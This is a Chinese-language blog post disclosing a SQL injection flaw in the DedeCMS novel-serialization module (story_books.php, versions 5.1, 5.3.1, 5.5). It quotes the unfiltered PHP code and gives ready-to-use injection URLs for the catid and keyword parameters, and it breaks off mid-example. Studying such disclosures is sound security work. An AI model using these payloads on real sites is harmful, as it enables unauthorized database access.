作者:st0p可以转载,不过请注明出处http://www.st0p.org
由于这个洞出现在DEDECMS小说连载的模块中,所以只要DEDECMS安装时选小说连载模块,那么就存在这个问题,有些版本在条件允许下是可以直接拿SHELL的哦。st0p总结了一下利用条件条件1:当服务器的PHP设置magic_quotes_gpc = Off条件2:目标DEDECMS系统安装时选中小说连载模块
首先我们先来看一下DEDECMS 5.1,他的小说频道和DEDECMS 5.3.1,DEDECMS 5.5不同,因为他的文件在member目录下面,文件是member/story_books.php,而DEDECMS 5.3.1和DEDECMS 5.5的文件在book目录下,文件是book/story_books.php因为里面的代码相似,所以呢,咱们只看一个story_books.php就行了
123456789101112131415161718
<?php……if(!isset($action)) $action = ; //检测变量$action是否存在,不存则则给初使值if(!isset($catid)) $catid = 0; //检测变量$catid是否存在,不存则则给初使值if(!isset($keyword)) $keyword = “”; //检测变量$keyword是否存在,不存则则给初使值if(!isset($orderby)) $orderby = 0; //检测变量$orderby是否存在,不存则则给初使值……if($catid!=0) $addquery .= ” And (b.bcatid=$catid Or b.catid=$catid) “; //变量$catid不为0时,就直接把$catid给$addquery了,没有验证if($keyword!=””) $addquery .= ” And (b.bookname like %$keyword% Or
b.author like %$keyword%) “;//变量$keyword不为空时,就直接把$keyword给$addquery了,没有验证$query = ” Select b.id,b.catid,b.bookname,b.booktype,b.litpic,b.postnum,b.senddate,
b.ischeck, c.id as cid,c.classname From dede_story_books b left join dede_story_catalog c on c.id = b.catid where
memberid={$cfg_ml->M_ID} and b.id>0 $addquery $orderby”;//生成了语句……?>
上面的代码看到了吧,嘎,catid和keyword没有过滤,所以这就引起了注入,不过好像构成语句有点麻烦,这个就不在本文的讨论了范围了,我们举个小例子试一下,以下操作请在登陆后进行测试,直接注册个帐号,登陆,然后输入以下地址就可以了DEDECMS 5.1
测试一,catid变量,地址如下http://st0p:88/dedecms51/member/story_books.php?catid=10′) or (’st0p’=’st0p
测试二,keyword变量,地址如下http://st0p:88/dedecms51/member/story_books.php?keyword=st0p%’ or c.classname like ‘%st0p
DEDECMS 5.31
测试一,catid变量,地址如下http://st0p:88/dedecms53/book/story_books.php?catid=10′) or (’st0p’=’st0p
测试二,keyword变量,地址如下
http://st0p:88/dedecms53/book/story_books.php?keyword=st0p%’ or c.classname like ‘%st0p
DEDECMS 5.5
测试一,catid变量,地址如下http://st0p:88/dedecms55/book/story_books.php?catid=10′) or (’st0p’=’st0p
测试二,keyword变量,